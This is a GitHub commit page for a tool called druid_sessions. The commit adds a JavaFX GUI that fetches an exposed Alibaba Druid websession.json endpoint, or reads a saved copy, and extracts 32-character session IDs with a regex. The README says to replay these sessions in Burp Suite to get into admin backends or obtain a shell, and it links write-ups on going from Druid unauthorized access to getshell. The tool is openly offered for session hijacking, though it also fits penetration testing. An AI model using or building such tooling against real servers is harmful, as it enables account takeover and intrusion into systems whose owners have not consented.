Skip to content

Commit 7b923a1

Browse files
rootroot
authored andcommitted
java
1 parent 69f0bf6 commit 7b923a1

File tree

5 files changed

+150
-12
lines changed

5 files changed

+150
-12
lines changed

1.png

25.9 KB
Loading

README.md

Lines changed: 5 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,32 +1,25 @@
11
### 使用说明:
22

3-
利用正则匹配出sessions,然后就可以利用Burpsuite进行遍历sessions,如果你是天选之子就可以利用sessions进入后台啦。
3+
利用正则匹配出session,然后就可以利用Burpsuite进行遍历sessions验证是否可用,如果你是天选之子就可以利用session进入后台或者getshell 啦。
4+
5+
46

57
### 利用实例
68

79
cwkiller师傅的利用文章:https://www.cnblogs.com/cwkiller/p/12483223.html
810

911
从druid未授权到getshell:https://xz.aliyun.com/t/10110
1012

11-
### GUI 版本:
12-
13-
远程演示效果
14-
15-
![](https://raw.githubusercontent.com/yuyan-sec/druid_sessions/main/image/gui-1.png)
16-
17-
本地演示效果
1813

19-
![](https://raw.githubusercontent.com/yuyan-sec/druid_sessions/main/image/gui-2.png)
2014

2115

2216
### 工具说明:
2317

24-
- -u 参数,一般在 druid 未授权的情况下使用
18+
golang 版本可以在 [releases](https://github.com/yuyan-sec/druid_sessions/releases) 下载,使用 java 写了一个 GUI 编译好可以在 [releases](https://github.com/yuyan-sec/druid_sessions/releases) 下载
2519

26-
- -f 参数,一般在需要登录druid通过保存文件到本地进行使用
20+
![](/1.png)
2721

2822

29-
![](https://raw.githubusercontent.com/yuyan-sec/druid_sessions/main/image/1.png)
3023

3124
----
3225

pom.xml

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>cn.yuyan</groupId>
8+
<artifactId>druid_sessions</artifactId>
9+
<version>1.0-SNAPSHOT</version>
10+
11+
<dependencies>
12+
<dependency>
13+
<groupId>org.jodd</groupId>
14+
<artifactId>jodd-http</artifactId>
15+
<version>6.0.4</version>
16+
<scope>compile</scope>
17+
</dependency>
18+
</dependencies>
19+
20+
</project>

src/main/java/Druid_Sessions.java

Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
import javafx.application.Application;
2+
import javafx.event.ActionEvent;
3+
import javafx.event.EventHandler;
4+
import javafx.geometry.Insets;
5+
import javafx.scene.Scene;
6+
import javafx.scene.control.Alert;
7+
import javafx.scene.control.Button;
8+
import javafx.scene.control.TextArea;
9+
import javafx.scene.control.TextField;
10+
import javafx.scene.layout.AnchorPane;
11+
import javafx.scene.layout.HBox;
12+
import javafx.scene.layout.VBox;
13+
import javafx.stage.FileChooser;
14+
import javafx.stage.Stage;
15+
import jodd.http.HttpRequest;
16+
import jodd.http.HttpResponse;
17+
18+
19+
import java.io.*;
20+
import java.util.regex.Matcher;
21+
import java.util.regex.Pattern;
22+
23+
public class Druid_Sessions extends Application {
24+
public static void main(String[] args) {
25+
launch(args);
26+
}
27+
28+
public static TextArea result = new TextArea();
29+
30+
public void start(Stage primaryStage) {
31+
AnchorPane ap = new AnchorPane();
32+
HBox hbox = new HBox(8);
33+
hbox.setPadding(new Insets(10));
34+
35+
final TextField input = new TextField();
36+
input.setPrefWidth(330);
37+
input.setPromptText("请输入URL");
38+
input.setFocusTraversable(false);
39+
40+
Button url = new Button("远程获取");
41+
Button file = new Button("本地获取");
42+
43+
hbox.getChildren().addAll(input,url,file);
44+
45+
HBox hbox2 = new HBox();
46+
hbox2.setPadding(new Insets(10));
47+
48+
result.setPrefWidth(475);
49+
result.setPrefHeight(500);
50+
hbox2.getChildren().add(result);
51+
52+
url.setOnAction(new EventHandler<ActionEvent>() {
53+
@Override
54+
public void handle(ActionEvent event) {
55+
String url = input.getText();
56+
boolean b = url.contains(".json") && url.contains("http://") | url.contains("https://");
57+
if (b){
58+
getUrl(url);
59+
} else {
60+
Alert alert = new Alert(Alert.AlertType.ERROR);
61+
alert.setHeaderText("URL 输入错误");
62+
alert.setContentText("请查看是否带有 http:// 或 https://, 是否访问的是 json 文件:\n" +
63+
"http://127.0.0.1/druid/websession.json\n" +
64+
"http://127.0.0.1/system/druid/websession.json\n" +
65+
"http://127.0.0.1/webpage/system/druid/websession.json");
66+
alert.show();
67+
}
68+
}
69+
});
70+
71+
file.setOnAction(new EventHandler<ActionEvent>() {
72+
@Override
73+
public void handle(ActionEvent event) {
74+
Stage stage = new Stage();
75+
FileChooser fc = new FileChooser();
76+
File filePath = fc.showOpenDialog(stage);
77+
getFile(filePath.getAbsolutePath());
78+
}
79+
});
80+
81+
VBox vBox = new VBox();
82+
vBox.getChildren().addAll(hbox,hbox2);
83+
ap.getChildren().addAll(vBox);
84+
85+
Scene scene = new Scene(ap);
86+
primaryStage.setScene(scene);
87+
primaryStage.setTitle("Get Druid Sessions By: yuyan-sec");
88+
primaryStage.setWidth(510);
89+
primaryStage.setHeight(600);
90+
primaryStage.setResizable(false);
91+
primaryStage.show();
92+
}
93+
94+
private static void getUrl(String url){
95+
HttpResponse response = HttpRequest.get(url).send();
96+
parse(response.bodyText());
97+
}
98+
99+
private static void getFile(String file){
100+
File fileName = new File(file);
101+
Long fileLength = fileName.length();
102+
byte[] fileContent = new byte[fileLength.intValue()];
103+
try {
104+
FileInputStream in = new FileInputStream(fileName);
105+
in.read(fileContent);
106+
in.close();
107+
} catch (IOException e) {
108+
e.printStackTrace();
109+
}
110+
parse(new String(fileContent));
111+
}
112+
113+
private static void parse(String line){
114+
Pattern p = Pattern.compile("[A-Za-z0-9]{32}");
115+
Matcher m = p.matcher(line);
116+
String session = "";
117+
while(m.find()){
118+
session += m.group() + "\n";
119+
}
120+
result.setText(session);
121+
}
122+
}

src/main/java/META-INF/MANIFEST.MF

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
Manifest-Version: 1.0
2+
Main-Class: Druid_Sessions
3+

0 commit comments

Comments
 (0)